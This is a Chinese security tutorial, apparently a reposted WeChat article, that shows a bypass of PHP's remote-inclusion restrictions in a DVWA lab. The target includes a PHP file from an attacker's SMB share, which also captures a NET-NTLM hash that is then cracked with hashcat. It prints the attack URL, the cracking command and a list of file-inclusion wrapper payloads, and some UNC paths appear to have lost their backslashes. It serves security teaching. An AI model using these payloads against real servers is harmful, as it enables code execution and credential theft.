PHP远程文件包含(RFI)并绕过远程URL包含限制

  • A+
所属分类:安全文章


文章来源|MS08067 公众号粉丝投稿

本文作者:VastSky(Ms08067实验室粉丝)


前言

本文我们讲如何绕过远程URL包含限制。在PHP开发环境php.ini配置文里”allow_url_fopen、allow_url_include“均为“off”的情况下,不允许PHP加载远程HTTP或FTP的url进行远程文件包含时。我们依旧可以使用SMB,来加载执行远程文件。

攻击思路

攻击者在发现目标服务器存在本地文件包含的情况下。可以通过配置SMB服务器,启用匿名浏览访问。利用有漏洞的PHP代码从SMB共享里访问PHP程序文件,查看代码是否被执行。

环境设置

1、配置php.ini文件禁用"allow_url_fopen" 和 "allow_url_include"

2、利用具有本地文件包含漏洞的程序,这里我们使用DVWA演示

3、使用impacket攻击框架中的smbserver

查看坏境

当前配置PHP版本为“7.3.4”:

PHP远程文件包含(RFI)并绕过远程URL包含限制

确定PHP不允许远程文件包含

PHP远程文件包含(RFI)并绕过远程URL包含限制

图从我们kali主机包含文件时,应用程序抛出错误并且没有发生RFI


kali上配置我们的SMB服务器

创建演示php程序文件

PHP远程文件包含(RFI)并绕过远程URL包含限制

通过smbserver启动smb服务器

PHP远程文件包含(RFI)并绕过远程URL包含限制

攻击文件包含漏洞参数

利用SMB的访问路径传入文件包含漏洞的参数里。

http://127.0.0.1/DVWA/vulnerabilities/fi/?page=\192.168.0.101sharephpinfo.php

目标机器从SMB共享中获取PHP文件并在应用程序服务器上顺利执行PHP代码,绕过了远程文件包含的限制。

PHP远程文件包含(RFI)并绕过远程URL包含限制

攻击的同时我们在smbserver窗口也捕获到了NET-NTLMhash

PHP远程文件包含(RFI)并绕过远程URL包含限制

最终我们不但成功执行了我们的php文件,同时我们还得到了远程系统用户的NET-NTLMhash。对于攻击思路,这边可以拓展一些,还可以对我们拿到的NET-NTLMhash进行破解。也可以使用Responder ntlmrelayx.py工具进行smb中继攻击,这里就不做详细讨论。


附加:hashcatNET-NTLMhash

NTLMv2的格式为:

username::domain:challenge:HMAC-MD5:blob

hashcat -a 0 -m 5600 hash.txt wordlist--force

-m hash-type5600对应NetNTLMv2,查看hash对应的具体参数可以查看官方样例:

https://hashcat.net/wiki/doku.php?id=example_hashes


PHP远程文件包含(RFI)并绕过远程URL包含限制

-a 0字典破解

–force代表强制执行,测试系统不支持Intel OpenCL

成功破解出登录的明文密码,输出如下图

PHP远程文件包含(RFI)并绕过远程URL包含限制

附录 allow_url_fopenallow_url_include对文件包含的影响

allow_url_fopen  #允许url打开远程文件,如果url传入的参数是本地文件的不受此限制

当allow_url_fopen打开,allow_url_include关闭时

/fi/?page=file1.php                             #可以使用/fi/?page=php://filter/read=convert.base64-encode/resource=D:phpstudy_proWWWone.txt  #可以使用/fi/?page=file://D:phpstudy_proWWWone.txt     #可以使用/fi/?page=http://127.0.0.1/one.txt               #不可以使用/fi/?page=data:text/plain;base64,cXdlcmFhYQ==    #不可以使用/fi/?page=php://input                            #不可以使用

当关闭了allow_url_openallow_url_include

/fi/?page=file1.php                             #可以使用/fi/?page=file://D:phpstudy_proWWWone.txt     #可以使用/fi/?page=php://filter/read=convert.base64-encode/resource=D:phpstudy_proWWWone.txt  #可以使用/fi/?page=http://127.0.0.1/one.txt               #不可以使用/fi/?page=data:text/plain;base64,cXdlcmFhYQ==    #不可以使用/fi/?page=php://input                            #不可以使用

当allow_url_open关闭时,而allow_url_include开启的时候,只有php://input可以使用。php://input可以读取没有处理过的POST数据。php://input这个是不受allow_url_fopen影响。




扫描下方二维码加入星球学习

加入后会邀请你进入内部微信群,内部微信群永久有效!

PHP远程文件包含(RFI)并绕过远程URL包含限制 PHP远程文件包含(RFI)并绕过远程URL包含限制

PHP远程文件包含(RFI)并绕过远程URL包含限制PHP远程文件包含(RFI)并绕过远程URL包含限制

PHP远程文件包含(RFI)并绕过远程URL包含限制 PHP远程文件包含(RFI)并绕过远程URL包含限制

目前40000+人已关注加入我们

PHP远程文件包含(RFI)并绕过远程URL包含限制

本文始发于微信公众号(Ms08067安全实验室):PHP远程文件包含(RFI)并绕过远程URL包含限制

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: